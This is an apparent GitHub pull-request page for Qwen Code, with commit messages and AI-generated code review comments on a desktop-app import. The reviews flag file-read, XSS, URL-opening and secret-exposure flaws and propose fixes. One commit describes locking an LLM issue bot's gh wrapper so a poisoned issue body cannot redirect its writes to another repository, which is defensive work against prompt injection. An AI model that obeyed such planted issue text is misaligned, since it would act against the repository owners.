Areas reviewed without finding new issues: caller-side
ShellExecutionResult shape compatibility (optional `promoted?` field,
existing callers spread-untouched); `exited` flag lifecycle
(monotonic, cleanup() idempotent); processingChain in-flight
ownership (listenersDetached guards every onOutputEvent emit
including the renderFn-rendered case via the same flag); race
between exit event and abort handler (both microtasks, FIFO ordering
gives correct outcome either way); Node version dependence
(`AbortSignal.reason` is Node 17.2+, engines: >=20 covers it);
test isolation (mockImplementationOnce + module-level mockProcessKill
clears each beforeEach); `process.kill(pid, 0)` Windows liveness
reliability (best-effort, acceptable for PR-1 plumbing); PID reuse
race on the PTY liveness check (theoretically possible, microsecond
window, unavoidable at the OS level — rejected in spec discussion);
PR-2/PR-3 contract surface (caller MUST attach listeners before
abort — documented; any future caller violating this is its own bug).

* test(core): align mockChildProcess.exitCode/signalCode in second beforeEach

The 'execution method selection' describe block has its own
beforeEach (separate from 'child_process fallback') that builds
mockChildProcess but does not set `exitCode` / `signalCode = null`.
Real Node `ChildProcess.exitCode` / `signalCode` are `null` while the
process is alive — and production now reads these in the
background-promote race guard. The current tests in this block don't
exercise the promote path, so they pass regardless, but any future
promote-related test landing here would silently trip the guard
(`undefined !== null` is true) and fall through to the normal-exit
branch instead of promoting.

Mirror the `child_process fallback` block's mock setup so the two
beforeEach hooks produce equivalent ChildProcess shapes, eliminating
a quiet foot-gun for future contributors.

Comment-only / test-fixture change. 69 / 69 tests still pass; tsc clean.
Found during a deeper third-round self-audit of PR-1 of #3831.
…d tools resolve to the subagent (#3873)

* fix(core): rebuild tool registry on subagent Config overrides so bound tools resolve to the subagent

PR-B (#3774) added per-Config FileReadCache isolation via Object.create
overrides at two subagent spawn sites — agent.ts:createApprovalModeOverride
and subagent-manager.ts:maybeOverrideContentGenerator. The override
shielded code that read FileReadCache directly through the Config
instance, but missed the bound-tool path: Config.createToolRegistry runs
once at parent initialise time, so the parent's EditTool / WriteFileTool
/ ReadFileTool instances are bound with `this.config = parent`. The
subagent's Object.create wrapper inherited getToolRegistry via the
prototype chain, reaching the parent registry whose bound tools then
read FileReadCache and approval mode from the parent.

This change closes that gap by rebuilding the tool registry on the
override at both sites — the same pattern InProcessBackend.createPerAgentConfig
already uses:

  - override.createToolRegistry(undefined, { skipDiscovery: true })
  - registry.copyDiscoveredToolsFrom(base.getToolRegistry())
  - override.getToolRegistry = () => registry

createApprovalModeOverride becomes async; its single call site already
ran inside an async block. maybeOverrideContentGenerator skips the
rebuild when the upstream Config already has its own getToolRegistry
(real-world case: agent.ts wrapper passed through createAgentHeadless),
avoiding wasted work, listener accumulation on shared SubagentManager /
SkillManager, and a cache split where the bound tools' registry layer
diverges from the runtime context's lazy-init cache.

Includes regression tests in agent-override.test.ts and
subagent-manager-override.test.ts that exercise the bound-tool path:
they instantiate the lazy factories on the override registry and
assert that EditTool / WriteFileTool / ReadFileTool resolve
this.config to the override Config (and thus to the override's
FileReadCache / approval mode), not the parent.

* fix(core): close bound-tool gap on resumed background agents too

Follow-up audit on PR #3873 surfaced a duplicate, pre-rebuild copy of
`createApprovalModeOverride` living in `background-agent-resume.ts`
(L142-150). Resumed fork agents go through `createResumedForkSubagent`
which bypasses `SubagentManager.maybeOverrideContentGenerator` (where
the registry rebuild now lives), so the resumed fork's
`EditTool` / `WriteFileTool` / `ReadFileTool` were still resolving
`this.config` to the parent and reading the parent's `FileReadCache`.

The non-fork resume path went through `subagent-manager` and worked
correctly only because `maybeOverrideContentGenerator` saw no upstream
own-registry on `bgConfig` and rebuilt one — but with that fallback
the fork path could never benefit.

This change deletes the local copy and switches `background-agent-resume.ts`
to import the now-async exported `createApprovalModeOverride` from
`agent.ts`. Drops the previous `?: this.config` short-circuit so the
resumed agent ALWAYS gets a wrapper Config — the same behaviour
`agent.ts` already enforces; reusing the parent directly defeats the
per-Config FileReadCache isolation.

Updates `background-agent-resume.test.ts` mock config with the
`createToolRegistry` / `getToolRegistry` stubs the rebuild path now
exercises.

* fix(core): address bound-tool isolation review feedback

Three independent fixes from PR #3873 review feedback:

1. Switch the upstream-rebuild guard from
   `hasOwnProperty(base, 'getToolRegistry')` to a Symbol-keyed marker
   `TOOL_REGISTRY_REBUILT`. The own-property check missed the case
   where the override is reached via an Object.create wrapper above
   the rebuilt Config (e.g. `bgConfig = Object.create(agentConfig)` in
   the agent.ts background path) — it would falsely report "no
   upstream rebuild" and cause a redundant third rebuild that wastes
   work and doubles the listener-leak surface. Symbol property reads
   walk the prototype chain via normal lookup, so a marker stored on
   any ancestor is correctly observed.

   Extracts the shared rebuild logic into
   `rebuildToolRegistryOnOverride(override, base)` so the three spawn
   sites (agent.ts:createApprovalModeOverride, the inherits branch,
   the non-inherit branch) cannot drift apart.

2. Stop the per-subagent ToolRegistry in the lifecycle finally blocks:
   - agent.ts foreground finally (after the inner try wrapping
     `runFramed`)
   - agent.ts background bgBody finally (after `bgSubagent.execute`
     resolves)
   - background-agent-resume.ts resume body finally (same shape)

   Without this, every AgentTool / SkillTool the model instantiates
   from the per-subagent registry registers a change-listener on
   shared SubagentManager / SkillManager, and repeated subagent runs
   accumulate listeners for the rest of the session. Stop is
   fire-and-forget, matching `InProcessBackend.cleanup` and
   `stopAgent`.

3. Add bound-tool isolation tests for the non-inherit branch
   (explicit-model selector). The original PR only covered the
   inherits branch directly; the non-inherit branch now goes through
   the same helper, but a dedicated test pins
   `tool.config === override` and the FileReadCache binding so a
   regression cannot leave explicit-model subagents reading the
   parent's cache while existing model-override tests still pass.

Tests now exercise:
- Symbol marker propagation via Object.create chain (3 cases)
- Non-inherit rebuild + bound-tool isolation
- Non-inherit skip-rebuild when upstream wrapper has the marker
- Pre-existing inherits / chained-override / approval-mode propagation
- Mock configs in agent.test.ts / subagent-manager.test.ts /
  background-agent-resume.test.ts gain `stop` and `tools: Map` stubs
  to model the registry contract the override path now exercises.

`npx vitest run packages/core/src` — 268 files / 6943 passed.
* fix(core): improve stream rate-limit retry diagnostics

* fix(core): honor retry-after for stream rate-limit retries

* fix(core): support response retry-after headers

* fix(core): guard rate-limit diagnostics payloads

* fix(core): tolerate null retry-after headers

* fix(core): harden rate-limit retry diagnostics
Add ui.customBannerTitle, ui.customBannerSubtitle, and ui.customAsciiArt
to the user-facing settings table. Also reword ui.hideBanner to note
that it covers both the logo column and the info panel and that Tips
render independently.

These settings landed in #3710 but only ui.hideBanner was listed in
the table, so users had no way to discover the other three short of
reading the schema or the design doc.
…-up to #3842) (#3886)

* fix(core): wrap hasOwnProperty.call inside try + add post-abort PTY data assertion

Two non-blocking review notes from @tanzhenxin's PR-1 approval
(#3842, post-merge follow-up):

- **Note 2 (real bug)**: `getShellAbortReasonKind` had
  `Object.prototype.hasOwnProperty.call(reason, 'kind')` outside the
  try/catch. `hasOwnProperty.call` triggers the `[[GetOwnProperty]]`
  Proxy trap (`getOwnPropertyDescriptor` handler). A Proxy whose
  `getOwnPropertyDescriptor` throws — separate from a throwing `get`
  trap, which the prior commit already covered — would propagate past
  the helper, leaving the abort handler's switch on `kind` to throw
  through `addEventListener` (which doesn't await async listener
  return values), so the shell process would stay alive instead of
  being killed on cancel. Moved the descriptor probe inside the same
  try block as the value read.

  My own multi-round audit covered six attack vectors but missed this
  one — only `get` trap throws were considered. The reviewer caught
  it on first pass.

- **Note 3 (test parity)**: the PTY post-promotion handoff test
  asserted `dispose` was called but never re-invoked the data
  callback to verify the foreground `onOutputEvent` actually stops
  firing — the child_process equivalent has that assertion. Mirrored
  it: emit data AFTER abort by re-invoking the captured `dataCallback`
  reference, and assert `onOutputEventMock.mock.calls.length` does NOT
  increase past the moment of promote. Exercises the production
  `listenersDetached` guard inside the chain callback, which the
  bare dispose-was-called check didn't.

Note 1 from the same review (the `aborted: true + promoted: true`
shape forcing PR-2 callers to check `promoted` before `aborted`) is
deliberately NOT addressed here — it's a contract simplification that
affects PR-2's branching, so it belongs in PR-2 along with the
caller-side decision on whether to flip `aborted` for promoted
results. Added a TODO upstream in #3831 (PR-2 design) to track.

70 / 70 tests pass (69 baseline + 1 new helper boundary for the
throwing-getOwnPropertyDescriptor case). tsc + ESLint clean.

* test(core): fix tautological PTY post-promote assertion (audit follow-up)

The PTY post-promotion handoff test added in the previous commit
copied the child_process equivalent's pattern verbatim — sync
\`expect(count).toBe(countAtPromote)\` immediately after dataCallback
returns. That works for child_process because its \`handleOutput\` is
fully synchronous (sniff → decoder → emit, all on the same call
stack), so the count change happens BEFORE the assertion.

PTY's \`handleOutput\` is async — \`processingChain.then(...)\` queues a
microtask that does the sniff + write + render-then-emit work. The
sync assertion captures both \`countAtPromote\` and the post-emit count
BEFORE the chain microtask ever runs, so both reads return whatever
happened before the assert (typically 0). The test would
tautologically pass even if the production \`listenersDetached\` guard
were removed — i.e., it didn't actually verify the guard.

Restructured to:
1. Drive the PTY through \`simulateExecution\` so \`await handle.result\`
   forces all queued microtasks (including pre-promote chain items
   AND the abort handler's drain) to settle.
2. Capture \`eventCountAfterSettle\` once everything has stabilized.
3. Re-invoke the captured \`dataCallback\` with post-promote data,
   await two more macrotask boundaries to let the new chain item
   fully run.
4. Assert the count hasn't moved.

If the production \`listenersDetached\` guard is removed, the
post-promote chain item emits, count increases past
\`eventCountAfterSettle\`, and this assertion fails. So the test
actually exercises the guard now.

Found in self-audit while reviewing my own follow-up commit. Caught
because audit was paranoid about *whether the test verifies what it
claims to verify*, not just whether it passes.

70 / 70 tests pass; tsc + ESLint clean.

* test(core): pin eventCountAfterSettle === 0 in PTY post-promote test

The previous fix asserted post-promote count equals the
\`eventCountAfterSettle\` baseline, but didn't pin the baseline
itself. With the production \`listenersDetached\` guard intact, both
halves (pre-promote chain and post-promote chain) suppress emit, so
\`eventCountAfterSettle === 0 === post-count\` and the relative
comparison is vacuously true.

If a future refactor changed the production guard semantics so the
pre-promote chain item DID emit (count becomes 1+ after settle), the
relative-comparison test would still pass as long as post-promote
also emitted the same number — that's a regression the test should
catch. Adding \`expect(eventCountAfterSettle).toBe(0)\` makes the
contract explicit: once \`listenersDetached\` is set during the abort
handler's sync part, BOTH the in-flight chain item (pre-promote) and
the future chain item (post-promote) skip emit.

Found in another self-audit pass — even after fixing the tautological
assertion, the test could still mask certain future regressions.
70 / 70 tests pass; tsc + ESLint clean.

* test(core): drop dataCallbackHolder pattern, read mock.calls directly

The dataCallbackHolder pattern (capturing the onData callback inside
simulateExecution then invoking it after via a closure-shared object)
was unnecessary indirection — \`mockPtyProcess.onData.mock.calls[0][0]\`
reads the same callback reference whether you read it inside or outside
the simulation closure. Vi's mock.calls array is per-mock-instance and
beforeEach re-creates mockPtyProcess + .onData freshly, so there's no
stale-reference risk in the simpler form.

No behavior change in what's tested. 70 / 70 pass.

* chore(core): drop in-source @-mention attribution + dead Proxy.get handler

Two cosmetic cleanups found in another self-audit pass:

- **Helper comment**: removed the parenthetical attribution ("Caught
  by @tanzhenxin in the PR-1 review; my own audit only covered \`get\`
  trap throws."). The technical content of the comment — explaining
  why both the descriptor probe and the value read live inside the
  try — stands on its own. The reviewer credit lives in commit
  history / PR description, where it belongs; an in-source @-mention
  ages poorly (handles change, the relevant person may move on) and
  doesn't help future readers reason about the code.

- **Test Proxy**: \`throwingDescriptorProxy\` declared a \`get()\` handler
  that always returned \`undefined\`. The descriptor probe throws
  before the helper ever reaches the value read, so the \`get\`
  handler is unreachable — dropped it and added a one-line comment
  explaining why no \`get\` handler is needed for this test. Mirror
  test (\`throwingReason\` with throwing accessor + \`proxyReason\` with
  throwing \`get\`) keeps the symmetric "throwing-`get`" coverage.

70 / 70 tests pass; tsc + ESLint clean.
…#3887)

Follow-up to #3873 review: the foreground-fork branch in `agent.ts`
fires the fork body via `void runInForkContext(runFramedFork)` and
returns the placeholder result synchronously, with no try/finally
around the fork body. The other three spawn paths (foreground
non-fork, background fork, background non-fork) added in #3873
already stop the per-subagent ToolRegistry in their finally blocks
— this one was missed, so any AgentTool / SkillTool the fork's
model later instantiated leaked its change-listener on the shared
SubagentManager / SkillManager for the rest of the session.

Wraps the inner body in `try { await runSubagentWithHooks(...) }
finally { void agentConfig.getToolRegistry().stop().catch(() => {}) }`
— same shape as the background bgBody finally added in #3873.

Adds a regression test in `agent.test.ts` Fork dispatch describe
that drains the detached fork body and asserts the stop spy was
invoked exactly once.
* ci: add issue follow-up bot workflow

* ci: gate issue follow-up bot rollout

* ci: reduce issue follow-up batch size

* ci: address issue follow-up bot review

* ci: add temporary issue bot canary

* ci: fix canary verification

* ci: dedupe bot token issue comments

* ci: remove temporary issue bot canary

* ci: avoid repeated issue bot followups

* ci: simplify issue follow-up bot prompt

* ci: refine issue follow-up bot flow

* ci: harden issue follow-up bot workflow

* ci: harden issue follow-up bot rollout

* ci: enforce follow-up bot dry-run writes

* ci: redact blocked bot command args

* ci: lock follow-up bot gh wrapper to current repo

- Require explicit `--repo <expected>` on every gh command path; reject
  any --repo value that does not match REPOSITORY/GITHUB_REPOSITORY so a
  poisoned issue body cannot redirect bot writes to another repo.
- Add OPENAI_BASE_URL to the secret-scrubbing list so an internal proxy
  URL is not echoed into comments or labels.
- Print the resolved DISPATCH_DRY_RUN / ISSUE_OPENED_DRY_RUN /
  SCHEDULE_DRY_RUN inputs alongside the resolved dry_run state for
  easier debugging of automatic vs manual paths.

* ci: tighten follow-up bot wrapper and trim noise

- Fold the repo-match check into validate_issue_edit_args /
  validate_issue_comment_args; replace the standalone require_explicit_repo
  with a smaller require_repo_match used only by the read-only paths.
- Add an upfront guard that fails fast when expected_repo is unset,
  and document the positional subcommand match.
- Drop the configuration-notice job: it warned on every issues.opened
  and cron tick when QWEN_ISSUE_FOLLOWUP_BOT_ENABLED was unset, which
  is the default state.
- Remove the redundant BOT_GITHUB_TOKEN re-export at step level
  (already inherited from the workflow env).
- Invert the dry_run resolution so every branch starts from `true` and
  flips to `false` on explicit opt-in, removing the duplicate assignments.
- Collapse the multi-line dry-run debug block into a single state line.
- Note in the prompt that global flags and short aliases (`-b`, `-F`)
  are rejected by the runner so the model only emits long-form gh
  commands.

* ci: fix shim reject logs to include full subcommand context

Agent-Logs-Url: https://github.com/QwenLM/qwen-code/sessions/1cf8097d-b747-4838-a206-63a11352facc

Co-authored-by: yiliang114 <11473889+yiliang114@users.noreply.github.com>

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: yiliang114 <11473889+yiliang114@users.noreply.github.com>
…desktop-app

# Conflicts:
#	package-lock.json
#	packages/cli/src/acp-integration/acpAgent.test.ts
#	packages/cli/src/acp-integration/acpAgent.ts
#	packages/cli/src/acp-integration/session/Session.test.ts
#	packages/cli/src/acp-integration/session/Session.ts
#	packages/cli/src/config/config.test.ts
#	packages/vscode-ide-companion/src/types/acpTypes.ts
#	scripts/desktop-openwork-sync.ts
#	scripts/dev.js

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the PR, @DragonnZhang!

Template

The PR body doesn't follow the required template. The template expects specific headings — "What this PR does", "Why it's needed", "Reviewer Test Plan" (with "How to verify", "Evidence (Before & After)", "Tested on"), "Risk & Scope", "Linked Issues", and a <details> Chinese translation section. This PR uses different headings ("Summary", "Validation", "Scope / Risk", "Testing Matrix") and is missing the Chinese translation entirely. Please update the PR body to match the template.

Direction

Claude Code ships a desktop app (their CHANGELOG references it multiple times — sandbox fixes for "the desktop app", "desktop and third-party provider sessions", etc.), so a Qwen Code desktop client is directionally aligned.

However, this PR imports an entire Craft/Claude Desktop fork — 365,539 additions across 1,603 files — into the monorepo. That's a full standalone application with its own package manager (bun), build system (Vite + Electron), CI workflows, and even its own .github/, .dockerignore, and LICENSE. The workspace exclusion (!packages/desktop) means it can't even share npm install with the rest of the monorepo. This raises a real question: what's the benefit of co-locating this in the monorepo vs. maintaining it as a separate repository? The PR description says "shared code and unified development" but the workspace exclusion undermines that — the only shared boundary appears to be ~25 files of changes in packages/cli and packages/core.

Approach

The changes to existing packages are actually reasonable and focused:

  • Adding desktop as a channel identifier
  • Bun PTY guard in getPty.ts
  • Skill metadata propagation (skillDetail) through the ACP session
  • Mid-turn user message drain for the desktop client
  • Subagent metadata propagation through MessageEmitter
  • acpAgent.ts adds ~2,268 lines of settings/permissions handling (this deserves its own close review)

But the ratio tells the story: 25 files of actual integration vs. 1,578 files of imported application. If the goal is ACP SDK integration for a desktop client, the integration layer could land first, and the desktop app could be added as a separate concern — possibly in a separate repo with a sync mechanism (the desktop-openwork-sync.ts script hints at this already being planned).

Flagging for maintainer discussion before diving into code review. The direction is right but the scope needs a decision: full fork in monorepo, or integration-first with the desktop app as a separate concern?

中文说明

感谢贡献,@DragonnZhang

模板

PR 正文没有按照 要求的模板 填写。模板要求特定的标题——"What this PR does"、"Why it's needed"、"Reviewer Test Plan"(包含"How to verify"、"Evidence (Before & After)"、"Tested on")、"Risk & Scope"、"Linked Issues",以及 <details> 中文翻译部分。本 PR 使用了不同的标题("Summary"、"Validation"、"Scope / Risk"、"Testing Matrix"),且完全缺少中文翻译。请按照模板更新 PR 正文。

方向

Claude Code 已经有桌面应用(其 CHANGELOG 多次提及——"desktop app"的 sandbox 修复、"desktop and third-party provider sessions" 等),因此 Qwen Code 桌面客户端在方向上是一致的。

但本 PR 将整个 Craft/Claude Desktop 分支——365,539 行新增,1,603 个文件——导入到 monorepo 中。这是一个完整的独立应用,有自己的包管理器(bun)、构建系统(Vite + Electron)、CI 工作流,甚至有自己的 .github/.dockerignoreLICENSE。工作区排除(!packages/desktop)意味着它无法与 monorepo 其余部分共享 npm install。这提出了一个真正的问题:将其放在 monorepo 中与维护为独立仓库相比,优势是什么? PR 描述提到"共享代码和统一开发",但工作区排除削弱了这一论点——唯一的共享边界似乎只是 packages/clipackages/core 中约 25 个文件的修改。

方案

对现有包的修改实际上是合理且集中的:

  • 添加 desktop 作为通道标识符
  • getPty.ts 中的 Bun PTY 保护
  • 通过 ACP 会话传播技能元数据(skillDetail
  • 桌面客户端的轮中用户消息排空
  • 通过 MessageEmitter 传播子代理元数据
  • acpAgent.ts 新增约 2,268 行的设置/权限处理(值得仔细审查)

但比例说明了一切:25 个文件的实际集成 vs. 1,578 个文件的应用导入。如果目标是桌面客户端的 ACP SDK 集成,集成层可以先落地,桌面应用可以作为独立关注点添加——可能在单独的仓库中,配合同步机制(desktop-openwork-sync.ts 脚本暗示这已在计划中)。

标记供维护者讨论,再深入代码审查。 方向正确,但范围需要决策:monorepo 中的完整分支,还是集成优先、桌面应用作为独立关注点?

Qwen Code · qwen3.7-max

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Automated Code Review

Reviewed with parallel analysis agents (security, correctness, code quality, undirected audit, build/test). These findings supplement the ~40 existing inline comments from prior reviewers.

Note: The PR was updated since initial review — non-desktop changes (cli, core, vscode-ide-companion, scripts) were reverted. Only desktop package findings remain.

Summary: 4 new findings (3 critical, 1 warning)

  • Path access without workspace scoping — RPC handler accepts arbitrary absolute paths
  • XSS via HTML attribute injection — unescaped URL in OAuth callback page
  • Unvalidated URLs in shell.openExternal — remote server can supply dangerous URLs
  • Unbounded resource allocation — base64 decoding without size limits

// NOT exposed to agent code — no equivalent MCP tool. Kept separate from readFileAttachment
// on purpose to preserve the agent-facing read's narrow trust boundary.
const USER_ATTACHMENT_MAX_BYTES = 50 * 1024 * 1024
server.handle(RPC_CHANNELS.file.READ_USER_ATTACHMENT, async (_ctx, path: string) => {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] READ_USER_ATTACHMENT reads arbitrary filesystem paths without workspace validation

This handler accepts any absolute path from the caller with only isAbsolute() and stat().isFile() checks. There is no validation against workspace allowed directories, unlike the READ_ATTACHMENT and READ handlers which call validateFilePath().

Any authenticated RPC client — including a compromised remote workspace server — can read arbitrary files up to 50 MB (e.g., /etc/passwd, ~/.ssh/id_rsa, ~/.aws/credentials).

The comment says the path "was written to drafts.json by a previous user-initiated attach" but the handler has no mechanism to verify this provenance.

Suggested fix: Validate the path against the workspace's allowed directories (same as READ_ATTACHMENT), or restrict reads to a known attachments directory. At minimum, reject paths under sensitive directories (.ssh, .gnupg, .aws).

// Example fix:
const safePath = await validateFilePath(path, getWorkspaceAllowedDirs(workspaceId))

<div class="status">${statusMessage}</div>
</div>
<div class="hint">${isSuccess ? 'You can now return to the application.' : 'Please close this window and try again.'}</div>
${deeplinkUrl ? `<a href="${deeplinkUrl}" class="return-link">Qwen Code</a>` : ''}

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] XSS via HTML href attribute injection — deeplinkUrl unescaped

This is a distinct injection vector from the window.location.href JavaScript injection on line 35. Here deeplinkUrl is interpolated directly into an HTML attribute without escaping:

<a href="${deeplinkUrl}" class="return-link">Qwen Code</a>

An attacker-controlled deeplinkUrl containing "> can break out of the href attribute and inject arbitrary HTML/script elements. A javascript: URL (e.g., javascript:alert(document.cookie)) would execute script on click.

Suggested fix: HTML-attribute-escape deeplinkUrl (encode ", <, >, &, '). Additionally, reject URLs with javascript: / data: / vbscript: schemes — the isSafeExternalUrl utility in url-safety.ts can be reused.

state = startResult.state

// 3. Open browser for user consent (local — must open on the user's machine, not remote server)
await shell.openExternal(startResult.authUrl)

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] shell.openExternal called with unvalidated URL from remote server

In the performOAuth flow, startResult.authUrl comes from the server's oauth:start RPC response. When the workspace is on a remote server, this URL originates from a potentially untrusted remote endpoint.

shell.openExternal is called directly without URL-scheme validation. A compromised remote server could return javascript:..., file:///..., or data:... as the auth URL, achieving code execution or local file access.

Notably, the main process (system.ts:222) does use isSafeExternalUrl before opening URLs — this preload path bypasses that defense.

Suggested fix: Import and apply isSafeExternalUrl (or at minimum a scheme allowlist of https: and http:) to startResult.authUrl before passing to shell.openExternal.

// Generate thumbnail from base64 data (for drag-drop files where we don't have a path)
server.handle(RPC_CHANNELS.file.GENERATE_THUMBNAIL, async (_ctx, base64: string, _mimeType: string): Promise<string | null> => {
try {
const buffer = Buffer.from(base64, 'base64')

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Warning] GENERATE_THUMBNAIL decodes unbounded base64 with no size check — OOM risk

Buffer.from(base64, 'base64') at line 201 allocates a buffer proportional to the input string (~75% of encoded size). A malicious client can send a multi-gigabyte base64 payload, causing out-of-memory termination.

Compare with READ_USER_ATTACHMENT (line 174) which enforces USER_ATTACHMENT_MAX_BYTES.

Suggested fix: Reject the request if base64.length exceeds a reasonable maximum before decoding:

const MAX_THUMBNAIL_INPUT = 10 * 1024 * 1024 // 10 MB encoded
if (base64.length > MAX_THUMBNAIL_INPUT) {
  throw new Error(`Thumbnail input too large: ${base64.length} bytes`)
}

codeVerifier: '', // Slack doesn't use PKCE
tokenEndpoint: SLACK_TOKEN_URL,
clientId: SLACK_CLIENT_ID,
clientSecret: SLACK_CLIENT_SECRET,

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] clientSecret: SLACK_CLIENT_SECRET is returned as part of the PreparedOAuthFlow object, which is sent from the main process to the renderer via RPC. The OAuth client secret is a sensitive credential that should never leave the main process — a compromised renderer or DevTools inspection can extract it. With the client secret, an attacker can impersonate the application and perform token exchanges on behalf of any user.

Keep the clientSecret server-side. The token exchange (exchangeCodeForTokens) should happen in the main process, not in the renderer. Remove clientSecret from the return value of prepareSlackOAuth.

— qwen3.7-plus via Qwen Code /review

// Register client-side capability handlers (server can invoke these)
// ---------------------------------------------------------------------------

client.handleCapability(CLIENT_OPEN_EXTERNAL, (url: string) => shell.openExternal(url))

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] shell.openExternal(url) is called with no URL validation in the preload capability handler. While the RPC handler layer in system.ts validates URLs via isSafeExternalUrl(), this capability handler is a separate code path — a remote workspace server that can directly invoke client capabilities bypasses that validation.

A malicious remote server can open arbitrary URLs including file:// (on some platforms), custom protocol handlers (ssh://, ftp://), or trigger OS-level actions. Add protocol validation here as defense-in-depth:

Suggested change
client.handleCapability(CLIENT_OPEN_EXTERNAL, (url: string) => shell.openExternal(url))
client.handleCapability(CLIENT_OPEN_EXTERNAL, (url: string) => {
const parsed = new URL(url)
if (!['http:', 'https:'].includes(parsed.protocol)) {
throw new Error(`Blocked scheme: ${parsed.protocol}`)
}
return shell.openExternal(url)
})

— qwen3.7-plus via Qwen Code /review

}, 1000)
} else {
window.loadFile(join(__dirname, 'renderer/index.html'), { query: { workspaceId } })
}

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] In production (no VITE_DEV_SERVER_URL), the did-fail-load handler's else branch calls window.loadFile(...) with no retry limit. If renderer/index.html is missing or corrupted (e.g., broken AppImage mount, incomplete install), loadFile triggers another did-fail-load, which calls loadFile again — creating an infinite synchronous reload loop. The dev path has a 5-retry limit, but production has zero protection.

This manifests as a flickering white screen at 100% CPU with no error message, and the log fills up too fast to diagnose.

Add a retry counter for production too, and show an error dialog after exhaustion:

Suggested change
}
} else if (failLoadRetries < 3) {
failLoadRetries++
windowLog.warn(`Retrying production renderer (attempt ${failLoadRetries}/3)...`)
setTimeout(() => {
window.loadFile(join(__dirname, 'renderer/index.html'), { query: { workspaceId } })
}, 1000)
} else {
windowLog.error('Failed to load renderer after 3 attempts — showing error dialog')
dialog.showMessageBox({ type: 'error', title: 'Load Error', message: 'Failed to load application. Please reinstall.' })
}

— qwen3.7-plus via Qwen Code /review

await sessionManager.flushAllSessions()
mainLog.info('Flushed all pending session writes')
} catch (error) {
mainLog.error('Failed to flush sessions:', error)

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] await sessionManager.flushAllSessions() has no timeout. If any session flush hangs (network timeout to a remote server, stuck file watcher, deadlocked WS connection), the app is stuck forever in "quitting" state — the user cannot quit, and the only escape is Force Quit (which may corrupt session data).

Additionally, if any cleanup step after event.preventDefault() throws (e.g., browserPaneManager.destroyAll(), messagingHandle.dispose(), import('./power-manager')), app.exit(0) is never reached and the app remains stuck with quit prevented.

Wrap the flush in a timeout and move cleanup into try/finally:

event.preventDefault()
try {
  await Promise.race([
    sessionManager.flushAllSessions(),
    new Promise((_, reject) => setTimeout(() => reject(new Error('Flush timed out after 10s')), 10_000)),
  ])
  mainLog.info('Flushed all pending session writes')
} catch (error) {
  mainLog.error('Failed to flush sessions:', error)
} finally {
  // All cleanup + app.exit(0) should be here
}

— qwen3.7-plus via Qwen Code /review

this.rules = parseNoProxyRules(opts.noProxy);
}

dispatch(

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] ProtocolProxyDispatcher.dispatch() checks url?.startsWith('https:') to decide between HTTPS and HTTP proxy routing. WebSocket Secure (wss://) connections are not matched, so they fall through to the HTTP proxy. If separate HTTP/HTTPS proxies are configured, WSS connections will be incorrectly routed through the HTTP proxy, which may not support WebSocket CONNECT tunneling.

Suggested change
dispatch(
const isHttps = url?.startsWith('https:') || url?.startsWith('wss:')

— qwen3.7-plus via Qwen Code /review

// Map from "@eN" refs to semantic details captured during snapshot.
private refDetails: Map<string, { role: string; name: string }> = new Map()
// Stable mapping for backend DOM nodes across snapshots.
private backendNodeRefMap: Map<number, string> = new Map()

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] backendNodeRefMap: Map<number, string> accumulates entries across every getAccessibilitySnapshot() call but is never cleared. While refMap and refDetails are cleared at the start of each snapshot (lines 193-194), backendNodeRefMap persists forever. Over a long browsing session with hundreds of snapshots, this map grows without bound — a memory leak proportional to the total number of unique DOM nodes encountered.

Clear backendNodeRefMap at the start of each getAccessibilitySnapshot() alongside refMap and refDetails, or scope it per-snapshot by passing it as a local parameter.

— qwen3.7-plus via Qwen Code /review

OpenWork-Sync-Mode: import
OpenWork-Base: b12027ffe9e91a1d875ec74b00af8e94f62fd699
OpenWork-Commit: 6a63d40cb28db4c02c9bb18e705a33f1bfcba2d8
Qwen-Code-Base: 452c2ad
OpenWork-Sync-Mode: import
OpenWork-Base: 6a63d40cb28db4c02c9bb18e705a33f1bfcba2d8
OpenWork-Commit: 708955a1c94c2639a720e8816e8e878783d79ed4
Qwen-Code-Base: 452c2ad
OpenWork-Sync-Mode: import
OpenWork-Base: 708955a1c94c2639a720e8816e8e878783d79ed4
OpenWork-Commit: b60d1d48ba418dd3eb4973079ed9add1319e7dbd
Qwen-Code-Base: 452c2ad
OpenWork-Sync-Mode: import
OpenWork-Base: b60d1d48ba418dd3eb4973079ed9add1319e7dbd
OpenWork-Commit: 44c061d80dae62ffb554d4b64565fb9dba9c0e85
Qwen-Code-Base: 03e0331
…desktop-app

# Conflicts:
#	package-lock.json
}
break

case 'delete-session':

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

